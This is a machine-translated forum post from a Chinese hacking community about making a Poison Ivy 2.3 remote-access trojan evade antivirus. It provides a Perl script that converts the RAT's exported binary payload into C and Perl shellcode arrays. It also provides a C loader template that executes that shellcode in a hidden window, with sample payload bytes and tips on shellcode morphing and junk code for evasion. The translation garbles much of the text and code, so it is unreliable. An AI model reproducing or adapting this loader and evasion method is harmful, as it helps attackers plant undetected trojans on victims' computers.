Originally wanted to send to the original area, but to see other places also have the discussion of, and the method is certainly a lot, so I'll put here, please have a idea of the friends in here big comments! [](/Article/UploadPic/2007-6/200762591719387.gif) Today in foreign countries, the IRC saw a few foreigners in the discussion of the PI2. 3 of[free to kill](), due to the PI2. 3 alignment with the past is not quite the same result using the packers after the treatment can not be normal run, so it's[free to kill]()became a concern of the object. So I downloaded a trial a try, plus through the shell do not run out. However, due to the PI2. 3 new features to support the shellcode generated, that would be much easier! shellcode I know Ah, morph, I also know Ah, that[free kill]()also not easy?! [](/Article/UploadPic/2007-6/200762591721621.gif) PI2. 3 support the generation of the binary format of the Data, C-format shellcode, delphi format shellcode, perl-format The and python format. Since I'm more familiar with C format, so take it to discussion about it! [](/Article/UploadPic/2007-6/200762591721757.gif) Engage through the overflow brother sister brother sister we all know that the shellcode deformation is writing a Trojan is a very important part of, so apply it to[free to kill]()up to, in theory, either through the file[free to kill]()also can be through memory[free kill](), of course, a simple xor of the deformation is however memory, the need for the shellcode to add the garbage code garbage code to confuse only. On the deformation of the ideas that may more, it is estimated that a post is that unclear. Interested friends can go to some of the more famous virus site find, I'm here to recommend one it: [http://vx.netlux.org]()method should can be used on. Above I takes into account the volume of the problem, so try to reduce the volume of course there must also be a further reduction Oh, but I can think on these! [](/Article/UploadPic/2007-6/200762591721602.gif the) Originally referred to the shellcode deformation, and finally also to use the above program to generate a PE file, but no longer used tool processing! [](/Article/UploadPic/2007-6/200762591719387.gif) In order to facilitate everyone from bin format file to generate a text format of the shellcode, and easy for everyone to build the above C code, I wrote a perl script to help you generate perl and c format of the shellcode, the code is as follows: Code Language : Perl 1. 2. #!/ usr/bin/perl 3. #written by mika[EST] 4. use strict; 5. 6. my $BinName=[shift]() || [die]() "Usage: $0 <bin name> (no . bin suffix)\n"; 7. 8. my $bindata; 9. [open]()(BF, "<$BinName. bin") || [exit]()(0); 1 0. $bindata = [join]()(",<BF>); 1 1. [close]()(BF); 1 2. 1 3. [print]() "+ Length: ". [length]()($bindata) . "bytes\n"; 1 4. 1 5. [print]() "+ Generating Perl shellcode file ".$ BinName.". pl ..."; 1 6. my $buffer = BufferPerl($bindata); 1 7. [open]()(PF,">$BinName.pl"); 1 8. [print]() PF "my \$PlShellcode=".$ buffer; 1 9. [close]()(PF); 2 0. [print]() "Done"."\ n"; 2 1. 2 2. [print]() "+ Generating C shellcode file ".$ BinName.". cpp..."; 2 3. $buffer = BufferC($bindata); 2 4. my $C_shellcode; 2 5. while(<DATA>) { $C_shellcode .= $_; } 2 6. $C_shellcode =~ [s]()/::SHELLCODE::/$buffer/g; 2 7. [open]()(CF, ">$BinName.cpp"); 2 8. [print]() CF $C_shellcode; 2 9. [close]() (CF); 3 0. [print]() "Done"."\ n"; 3 1. 3 2. sub BufferPerl 3 3. { 3 4. my ($data, $width) = @_; 3 5. my ($res, $count); 3 6. 3 7. if (! $data) { return } 3 8. if (! $width) { $width = 1 6 } 3 9. 4 0. $res = '"'; 4 1. 4 2. $count = 0; 4 3. foreach my $char (split(//, $data)) 4 4. { 4 5. if ($count == $width) 4 6. { 4 7. $res .= '".' . "\n" . '"'; 4 8. $count = 0; 4 9. } 5 0. $res .= sprintf("\\\x%. 2x", ord($char)); 5 1. $count++; 5 2. } 5 3. if ($count) { $res .= '";' . "\n"; } 5 4. return $res; 5 5. } 5 6. 5 7. sub BufferC 5 8. { 5 9. my ($data, $width) = @_; 6 0. my $res = BufferPerl($data, $width); 6 1. if (! $res) { return } 6 2. 6 3. $res =~ s/\\.// g; 6 4. return $res; 6 5. } 6 6. 6 7. __DATA__ 6 8. 6 9. #include <windows. h> 7 0. 7 1. #pragma comment(linker, "/MERGE:. rdata=. text /MERGE:. data=. text /SECTION:. text,EWR") 7 2. #pragma comment(linker,"/subsystem:windows /ENTRY:MyEntry") 7 3. #pragma comment(linker,"/INCREMENTAL:NO") 7 4. 7 5. [int]() WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, [int]() iCmdShow); 7 6. char PIshellCode[] = 7 7. ::SHELLCODE:: 7 8. 7 9. [int]() WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, [int]() iCmdShow) 8 0. { 8 1. __asm{ 8 2. lea eax,PIshellcode 8 3. call eax 8 4. } 8 5. [return]() 1; 8 6. } 8 7. 8 8. void MyEntry(void) 8 9. { 9 0. ExitProcess(WinMain(GetModuleHandle(NULL), NULL, GetCommandLine(), SW_HIDE)); 9 1. } 9 2. 9 3. Parsed in 0.056 seconds This app is simple to use, such as you in generating the PI 2.3.0 service end time select the Generate binary format, for example called test. bin. Put to the test. bin is copied to this perl program in the same directory, and then in the cmd the following input: perl bin2shellcode.pl test You can not. bin suffix, so that the program will be in the same directory generates two files, one is. pl suffix to the perl file, which is perl-format shellcode, another is. cpp suffix C＋＋file, which not only generates a nice shellcode and the program directly to help you generate a c++program, you directly get to the VC under compile, the generated cpp file as follows: Code Language : C 1. 2. 3. #include <windows. h> 4. 5. #pragma comment(linker, "/MERGE:. rdata=. text /MERGE:. data=. text /SECTION:. text,EWR") 6. #pragma comment(linker,"/subsystem:windows /ENTRY:MyEntry") 7. #pragma comment(linker,"/INCREMENTAL:NO") 8. 9. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int iCmdShow); 1 0. char PIshellCode[] = 1 1. "\x55\x8b\xec\x81\xc4\x3c\xf2\xff\xff\x60\x33\xc0\x8d\xbd\x90\xf2" 1 2. "\xff\xff\xb9\x5b\x0d\x00\x00\xf3\xaa\x33\xc0\x8d\xbd\x4c\xf2\xff" 1 3. "\xff\xb9\x44\x00\x00\x00\xf3\xaa\xc7\x85\xb9\xf3\xff\xff\xe6\x00" 1 4. //........................... Omitted shellcode several 1 5. "\x04\x00\x74\x65\x73\x74\xf9\x0b\x04\x00\x74\x65\x6d\x70\x90\x01" 1 6. "\x0d\x00\x09\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x00\x84\x0d\x8c" 1 7. "\x01\x04\x00\x00\x00\x00\x00\xc1\x02\x04\x00\xff\xff\xff\xff\x45" 1 8. "\x01\x05\x00\x61\x64\x6d\69\x6e\xfb\x03\x09\x00\x29\x21\x56\x6f" 1 9. "\x71\x41\x2e\x49\x34\x00\x00\x00\x00"; 2 0. 2 1. 2 2. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int iCmdShow) 2 3. { 2 4. __asm{ 2 5. lea eax,PIshellcode 2 6. call eax 2 7. } 2 8. return 1; 2 9. } 3 0. 3 1. void MyEntry(void) 3 2. { 3 3. ExitProcess(WinMain(GetModuleHandle(NULL), NULL, GetCommandLine(), SW_HIDE)); 3 4. } 3 5. 3 6. Parsed in 0.015 seconds Simple right? My idea will say to this, here the forum You guys talk about Oh! [](/Article/UploadPic/2007-6/200762591722622.gif)! [](/Article/UploadPic/2007-6/200762591721602.gif) PS:today's Fall, the knees knock a large sub, sew several needles, good pain Ah! [](/Article/UploadPic/2007-6/200762591722403.gif)

Query Builder